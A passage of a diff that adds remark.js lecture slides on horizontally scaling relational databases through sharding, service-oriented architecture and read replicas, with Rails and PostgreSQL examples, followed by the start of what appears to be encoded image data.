+Scale up the amount of memory.
+
+> Is your database load too high?
+
+--
+
+Scale up the CPU.
+
+> Are neither of those working?
+> What do you do?
+
+---
+
+# Database Horizontal Scaling?
+
+With application servers we are able to scale horizontally by adding additional
+machines and introducing a load balancer to access them.
+
+> Can we do the same with the database?
+
+![Horizontal Database Idea](horizontal_database_idea.png)
+
+---
+
+# Non-trivial DB Horizontal Scaling
+
+ > Can we horizontally scale the database by adding more database servers and
+> accessing them through a load balancer?
+
+Unfortunately, it's not that simple.
+
+Horizontal scaling works great for _stateless_ services. However, the database
+contains the state of our application, thus is not trivial to horizontally
+scale.
+
+Note: Horizontally scaling databases in this way works fine for read-only operations.
+
+---
+
+# Problem: R(X), W(X), R(X)
+
+![Database Horizontal Scaling Problem](database_horizontal_scaling_problem.png)
+
+---
+
+# Techniques for Scaling Relational Databases
+
+Each of the following techniques partitions RDBMS (Relational Database
+Management System) in a different way:
+
+* Sharding
+
+* Service Oriented Architectures (SOA)
+
+* Separating Reads from Writes
+
+---
+
+class: center inverse middle
+
+# Partitioning
+
+---
+
+# Partitioning (Sharding): Idea
+
+Take a single database and __*split/partition/shard*__ it up into multiple smaller
+databases such that everything still works.
+
+--
+
+> How do we handle joins across partitioned data?
+
+---
+
+# Partitioning: Joins
+
+Any particular database join connects a small part of your database. However,
+transitively, database joins could connect everything together.
+
+## E.g. Demo App
+
+* Any comment is only related to its parent (if not top-level), its children
+  (replies), and its submission.
+
+* Submissions relate to each other through communities.
+
+* Transitively, all of these relationships could be joined across.
+
+---
+
+# Partitioning: Separating Data
+
+.left-column40[
+Find a separation of your data that ideally produces unrelated (not joined
+across) _partitions_.
+
+Once separated, your application cannot utilize the database to join across
+partitions.
+
+If you need to perform operations across sharded data, you will need to do it
+at the application level.
+
+Consider the performance trade-offs. Could you partition another way?
+]
+.right-column60[
+![Sharding](sharding_app_server.png)
+]
+
+---
+
+# Partitioning: Similar Data
+
+Partitioning involves splitting data of the same type (e.g., the rows of the
+tables).
+
+For instance if we wanted to split our `Comments` table into two partitions, we
+could store comments belonging to half the submissions in _partition1_, and
+those belonging to the other half in _partition2_.
+
+--
+
+> What is not partitioning?
+
+--
+
+Separating tables into their own databases is not partitioning. While this approach
+may work for some applications, the ability to join across tables is lost.
+
+---
+
+# Finding the Data
+
+Assume we have partitioned the data for our application.
+
+> How can we find what partition our data is on?
+
+We need some sort of mapping to determine where to find that data.
+
+---
+
+# Finding the Partition
+
+## At the application server layer?
+
+> How would we implement this?
+
+## At the load balancer?
+
+> How would we implement this?
+
+## Across multiple load balancers?
+
+> How would we implement this?
+
+---
+
+# At the App Server
+
+.left-column40[
+Each application server contains a configuration that informs it of where each
+database is (IP address, DNS name) and how to map data to the database.
+
+The mapping can be arbitrarily complex.
+
+The mapping itself may even be stored in a database.
+]
+.right-column60[
+![App Server Sharding](sharding_app_server.png)
+]
+
+---
+
+# At the load balancer
+
+The load balancer could be configured to route requests to the app servers that
+are configured to _talk_ to the right database.
+
+Such mappings are limited by knowledge that the load balancer can inspect:
+
+* Resource URI
+* Headers
+* Request Payload
+
+.center[![Load Balancer Sharding](sharding_load_balancer.png)]
+
+---
+
+# Across Load Balancers
+
+.left-column40[
+Host names (DNS) can be configured to point to the correct load balancer for a
+given request.
+
+Examples:
+
+* en.wikipedia.org vs. es.wikipedia.org (language based sharding)
+
+* google.com vs. google.co.uk (location based sharding)
+
+* na6.salesforce.com vs. naX.salesforce.com (customer based sharding)
+
+__Note__: The above examples could involve only a single load balancer.
+]
+.right-column60[
+![Sharding Across Load Balancers](sharding_region.png)
+]
+
+
+---
+
+# Finding Data: Trade-offs
+
+The approaches we just described are vary from providing more flexibility to
+providing more scalability.
+
+* App Server (most flexible)
+
+* Load Balancer
+
+* DNS (most scalable)
+
+---
+
+# Partitioning and Growth
+
+Ideally the number of partitions increase as the usage of your application
+increases.
+
+Example:
+
+If each customer's data can be partitioned from the others, then doubling the
+number of customers doubles the number of partitions.
+
+---
+
+# Email Example
+
+The data that represent one user's email conceptually requires no relation to
+the data representing other users' email.
+
+When a request arrives associated with a particular user, the server applies
+some mapping function to determine which database the user's data are located
+in.
+
+Should the email provider need to take down a database, they can relocate the
+partitioned data to another database, and update the mapping with little
+disruption.
+
+---
+
+# Demo App Example
+
+* Users can create and view communities.
+
+* Users can create submissions in these communities.
+
+* Each submission has a tree of comments.
+
+> How can we partition this application?
+
+---
+
+# Partitioning Demo App
+
+## By User?
+
+This would have difficulty as logged in users will want to see communities,
+submissions, and comments made by other logged in users.
+
+--
+
+## By Submission?
+
+This would make generating submission lists for a single community difficult.
+
+--
+
+## By Community?
+
+Obtaining a community list will be more difficult, but cleanly partitioning
+comments and submissions by their community is doable.
+
+---
+
+# Community Partitioning
+
+> How could we make community based paritioning work?
+
+We can use information in the url with any of the load balancing approaches.
+
+* http://ucsb.demo.com (community sub-domain)
+
+* http://demo.com/ucsb (community path)
+
+Either the application server connects to the right database for the `ucsb`
+community, or DNS/loadbalancer directs the request to an application server
+that always talks to the `ucsb` containing database.
+
+---
+
+# Community Partitioning Success
+
+.left-column[
+![Sharding Submission View](sharding_submission_view.png)
+]
+.right-column[
+![Sharding New Submission View](sharding_new_submission_view.png)
+]
+.center.clear[
+![Sharding New Comment View](sharding_new_comment_view.png)
+]
+
+---
+
+# Community Partitioning Difficulty
+
+.left-column40[
+* The global list of submissions.
+
+* List of submissions by user.
+
+* List of comments by user.
+
+> What can we do to resolve these issues?
+]
+.right-column60[
+![Sharding Global Submission View](sharding_index_view.png)
+]
+
+---
+
+# Solving Partitioning Problems
+
+* Modify the user interface such that the difficult to partition page does not
+  exist.
+
+    > Can you get by with only providing the list of communities?
+
+* Alternatively, periodically run an expensive background job to keep a
+  semi-up-to-date global submission list aggregating results from across
+  databases.
+
+---
+
+# Partitioning in Rails
+
+Rails 6+ has built-in support for partitioning:
+https://guides.rubyonrails.org/active_record_multiple_databases.html
+
+```ruby
+def index
+    ...
+    ActiveRecord::Base.connected_to(database: :customer1)
+        ...
+    end
+end
+```
+
+---
+
+# Partitioning Trade-offs - Summary
+
+## Strengths
+
+* If you genuinely have zero relations across partitions, this scaling path is very
+  powerful.
+
+* Partitioning works best when partitions grow with usage.
+
+--
+
+## Weaknesses
+
+* Partitioning can inhibit feature development. That is your application may be
+  perfectly partitionable today, but future features may change that.
+
+* Not easy to retroactively add partitioning to an existing application.
+
+* Transactions across partitions do not exist.
+
+* Consistent DB snapshots across partitions do not exist.
+
+---
+
+class: center inverse middle
+
+# Service Oriented Architecture (SOA) and Microservices
+
+---
+
+# Service Oriented Architecture
+
+_Partitioning_ splits data of the same type into separate, unrelated groups.
+
+_Service Oriented Architectures_ (SOA) do something different. They partition
+both the data and the code based on type and function.
+
+Like with partitioning, no joins can automatically be performed across these partitions.
+
+---
+
+# SOA Stack
+
+The primary concept behind SOA is having many focused mini-applications (microservices).
+
+Each of these focused mini-applications is called a service.
+
+When a front-end application server needs data to satisfy a request, instead of
+speaking to a database, it will request data from the appropriate service.
+
+.center[![Service Oriented Architecture](soa_stack.png)]
+
+---
+
+# SOA Functions
+
+Each service is broken out by logical function. E.g.:
+
+* Users service that handles authentication and authorization
+
+* Billing service that handles credit cards and subscriptions
+
+* Account subsystem that tracks invoices
+
+.center[![Service Oriented Architecture](soa_stack.png)]
+
+---
+
+# SOA Communications
+
+With _partitioning_ the application server often only talks to a single partition per
+request.
+
+With _SOA_ the front-end application server may communicate with many distinct
+services, and some of those services may talk to a handful of other services.
+
+.center[![Service Oriented Architecture](soa_stack.png)]
+
+---
+
+# Benefits of SOA
+
+With SOA the deployment of services is decoupled. That means that each can be
+updated and scaled independently of the remainder of the system. This
+decoupling can provide isolated outages (billing is down for 5 minutes).
+
+Services lend themselves well to maintenance by a single development team thus
+minimizing conflicts between teams that would otherwise collectively work on a
+single monolithic application.
+
+.center[![Service Oriented Architecture](soa_stack.png)]
+
+---
+
+# SOA and the Demo App
+
+> How could we divide the Demo App into services?
+
+.center[![Demo App](demo_submissions_index.png)]
+
+---
+
+# SOA and the Demo App
+
+1. Comments service can track comments and replies for each submission.
+
+--
+
+2. Submissions service can be responsible for all the links that are submitted.
+
+--
+
+3. Communities service can store the list of communities along with their
+   creator.
+
+--
+
+4. Users service can manage the users in the system.
+
+---
+
+# Demo App SOA Code
+
+Before
+
+```ruby
+class CommunitiesController < ApplicationController
+  def create
+    if current_user.allowed_to_create_community?
+      Community.create!(params)
+      render :show and return
+    end
+    render :new, status: :unprocessable_entity
+  end
+end
+```
+
+--
+
+After
+
+```ruby
+class CommunitiesController < ApplicationController
+  def create
+    user = UsersService.get_user_from_session(cookie)
+    if user.allowed_to_create_community?
+      CommunitiesService.create_submission!(params['title'],
+                                            params['community'],
+                                            user_id)
+      render :show and return
+    end
+    render :new, status: :unprocessable_entity
+  end
+end
+```
+
+---
+
+# SOA Implementation
+
+SOA is often implemented by JSON over HTTP. RESTful APIs are common.
+
+> Why JSON/REST/HTTP?
+
+It's very easy to do. In fact, rails makes you do work in order to __not__ have
+a JSON API (assuming you are using `rails generate`).
+
+JSON APIs over HTTP are easily discovered. This permits (but doesn't
+necessitate) less documentation as the API may be intuitive enough to use
+without knowing much more than the endpoints and their input.
+
+Using JSON/HTTP permits a shared technology stack. Rails on the front-end
+application servers, and Rails on the servers hosting the services.
+
+---
+
+# Alternatives to JSON/HTTP/Rest
+
+The primary issue with JSON/HTTP/REST is performance.
+
+For high-performance internal APIs there are a few excellent options:
+
+* Protocol Buffers (developed by Google)
+
+* Apache Thrift (developed by Facebook)
+
+High performance APIs often trade flexibility for performance. For instance
+they may require strongly typed data and as a result require more
+documentation.
+
+---
+
+# Encoding Data
+
+- Language specific:
+    - JAVA - java.io.Serializable
+    - Ruby - Marshal
+    - Python - pickle
+
+- JSON, Apache Avro, XML, CSV, Binary
+
+- Apache Thrift and Protocol Buffers
+
+---
+
+# Modes of Dataflow
+
+- Via Databases
+
+- Via Service Calls (RPC, REST, GraphQL)
+
+- Via Async message passing (message brokers: IBM WebSphere, RabbitMQ,
+ActiveMQ, Apache Kafka, NATS, TIBCO)
+
+
+
+--
+
+
+
+[Source: Designing Data-Intensive Applications: The Big Ideas Behind Reliable,
+Scalable, and Maintainable Systems
+by Martin Kleppmann](https://dataintensive.net/)
+
+---
+
+# SOA at Amazon
+
+Jeff Bezos (Amazon CEO) circa 2002 (according to Steve Yegge)
+
+1. All teams will henceforth expose their data and functionality through
+   service interfaces.
+
+--
+
+2. Teams must communicate with each other through these interfaces.
+
+--
+
+3. There will be no other form of inter-process communication allowed: no
+   direct linking, no direct reads of another team's data store, no
+   shared-memory model, no back-doors whatsoever. The only communication
+   allowed is via service interface calls over the network.
+
+--
+
+4. It doesn't matter what technology they use. HTTP, Corba, Pubsub, custom
+   protocols -- doesn't matter. Bezos doesn't care.
+
+--
+
+5. All service interfaces, without exception, must be designed from the ground
+   up to be externalizable. That is to say, the team must plan and design to be
+   able to expose the interface to developers in the outside world. No
+   exceptions.
+
+--
+
+6. Anyone who doesn't do this will be fired.
+
+--
+
+Archived Source: https://gist.github.com/breadtk/bf3591a1ec181b62b659b68411694a06
+
+---
+
+# SOA Trade-offs
+
+## Strengths
+
+* Small encapsulated code-bases
+
+* Scales well as application size scales
+
+* Scales well as the number of teams scale
+
+--
+
+## Weaknesses
+
+* May not scale with the number of users (e.g., increased load to
+  authentication service)
+
+* Transactions across services do not exist
+
+* Consistent DB snapshots across services do not exist
+
+* Application logic required to join data
+
+---
+
+class: center inverse middle
+
+# Separating Reads from Writes
+
+---
+
+# Database Operations
+
+![Graph of Database Reads and Writes](database_reads_writes.png)
+
+This graph shows significantly more _reads_ than _writes_. This may be the case
+for your application.
+
+---
+
+# Database Horizontal Scaling
+
+.left-column[
+In general, a relational database is hard to horizontally scale.
+
+However, when limited to a read-only copies, databases are very easy to
+horizontally scale.
+
+* Set up separate machines to act as __read replicas__
+
+* Whenever any transaction commits to the _primary_ database, send a copy to
+  each _replica_ and apply it
+]
+.right-column[![Database Primary Replica](database_master_replica.png)]
+
+---
+
+# Database Replication
+
+.left-column40[![Database Primary Replica](database_master_replica.png)]
+.right-column60[
+The sending of data from the primary to its replicas (replication) can happen
+either synchronously or asynchronously.
+
+## Synchronous
+
+When a transaction is committed to mater, the primary sends the transaction to
+its replicas and waits until applied by all before completing.
+
+## Asynchronous
+
+When a transaction is committed to the primary, the primary sends the
+transaction to its replicas but does not wait to see if the transaction is
+applied.]
+
+---
+
+# Database Replication Trade-offs
+
+.left-column[
+> What are the advantages of waiting until writes are applied to all replicas?
+]
+.right-column[![Database Primary Replica](database_master_replica.png)]
+
+---
+
+# Database Replication Trade-offs
+
+.left-column[
+> What are the advantages of waiting until writes are applied to all replicas?
+
+Consistency. Subsequent read requests will see changes.
+
+> What are the disadvantages of waiting until writes are applied to all
+replicas?
+]
+.right-column[![Database Primary Replica](database_master_replica.png)]
+
+
+---
+
+# Database Replication Trade-offs
+
+.left-column[
+> What are the advantages of waiting until writes are applied to all replicas?
+
+Consistency. Subsequent read requests will see changes.
+
+> What are the disadvantages of waiting until writes are applied to all
+replicas?
+
+Performance. There may be many read replicas to apply changes to.
+]
+.right-column[![Database Primary Replica](database_master_replica.png)]
+
+---
+
+# Database Replication Levels
+
+.left-column[![Database Primary Replica](database_master_replica.png)]
+.right-column[
+## Statement-level
+
+Similar to streaming the journal from the primary to its replicas.
+
+## Block-level
+
+Instead of sending the SQL statements to the replicas, send the consequences
+of those statements.
+
+> What are the advantages of each?
+]
+
+---
+
+# Database Statement-level Replication
+
+Statement-level is faster than block-level, with a catch.
+
+An SQL statement is generally more compact than its consequences.
+
+```sql
+UPDATE txns SET amount=5;
+```
+
+The above query acts on all rows which may require a lot of data to transmit
+the consequences.
+
+However, SQL statements must now be deterministic:
+
+```sql
+UPDATE txns SET amount=5, updated_at=NOW();
+```
+
+> What is the value of `NOW()`?
+
+Such values must be communicated from the primary to its replicas.
+
+---
+
+# PostgreSQL Replication
+
+> PostgreSQL streaming replication is asynchronous by default. If the primary
+> server crashes then some transactions that were committed may not have been
+> replicated to the standby server, causing data loss. The amount of data loss
+> is proportional to the replication delay at the time of failover.
+
+> When requesting synchronous replication, each commit of a write transaction
+> will wait until confirmation is received that the commit has been written to
+> the transaction log on disk of both the primary and standby server. The only
+> possibility that data can be lost is if both the primary and the standby
+> suffer crashes at the same time. This can provide a much higher level of
+> durability, though only if the sysadmin is cautious about the placement and
+> management of the two servers. Waiting for confirmation increases the user's
+> confidence that the changes will not be lost in the event of server crashes
+> but it also necessarily increases the response time for the requesting
+> transaction. The minimum wait time is the roundtrip time between primary to
+> standby.
+
+https://www.postgresql.org/docs/9.1/warm-standby.html#SYNCHRONOUS-REPLICATION
+
+---
+
+# Demo App and Read Replicas
+
+The following pages would be served from read replicas:
+
+.center[
+![Global Submission View](small_demo_index_view.png)
+![Submissions View](sharding_submission_view.png)
+]
+
+---
+
+# Demo App DB Primary Pages
+
+The controllers associated with the actions from following pages (create) would
+need to talk to the primary database.
+
+.center[
+.left-column[![Demo New Submission View](demo_half_new_submission_view.png)]
+.right-column[![Demo New Comment View](demo_half_new_comment_view.png)]
+]
+
+---
+
+# Rails Read Replica Support
+
+Rails 6 has first-class support for read replicas now. "Automatic switching"
+must be explictly configured and enabled:
+
+> Automatic switching allows the application to switch from the primary to
+> replica or replica to primary based on the HTTP verb and whether there was a
+> recent write.
+
+--
+
+> If the application is receiving a POST, PUT, DELETE, or PATCH request the
+> application will automatically write to the primary. For the specified time
+> after the write the application will read from the primary. For a GET or HEAD
+> request the application will read from the replica unless there was a recent
+> write.
+
+--
+
+> Rails guarantees "read your own write" and will send your GET or HEAD request
+> to the primary if it's within the delay window. By default the delay is set
+> to 2 seconds. You should change this based on your database
+> infrastructure. Rails doesn't guarantee "read a recent write" for other users
+> within the delay window and will send GET and HEAD requests to the replicas
+> unless they wrote recently.
+
+---
+
+# Trade-offs of Read Replicas
+
+## Strengths
+
+For applications with a high read-to-write ratio:
+
+* the load on the primary database can be dramatically reduced.
+
+* read replicas can be horizontally scaled (even with a load balancer)
+
+--
+
+## Weaknesses
+
+Application developer needs to think about reads that affect writes vs. reads
+that do not affect writes as such dependent reads should occur in the same
+transaction as the write.
+
+---
+
+# At AppFolio
+
+## High usage of sharding
+
+* Each customer's data is stored in separate logical database.
+
+* Those logical databases can be moved between distinct physical database
+  servers as needed.
+
+* DNS is used to route customer to their application server
+
+## Medium use of SOA
+
+* Some functionality broken out into services, but the primary benefit is for
+  scaling engineers rather than scaling load.
+
+
+## Low use of Read vs. Write distinction
+
+* We utilize read replicas for backup and offline analysis.
+
+---
+
+# Summary
+
+Horizontal scaling of relational databases is hard.
+
+There is no silver bullet, but by combining sharding, SOA, and read replicas
+you can get very far.
+
+For applications that need to scale writes beyond what RDBMS can offer, you
+need non-relational databases.
+
+    </textarea>
+    <script src="https://remarkjs.com/downloads/remark-latest.min.js"
+            type="text/javascript"></script>
+    <script type="text/javascript">
+      var hljs = remark.highlighter.engine;
+      var slideshow = remark.create({
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+          hightlightSpans: true,
+          highlightStyle: 'monokai'
+        }) ;
+    </script>
+  </body>
+</html>
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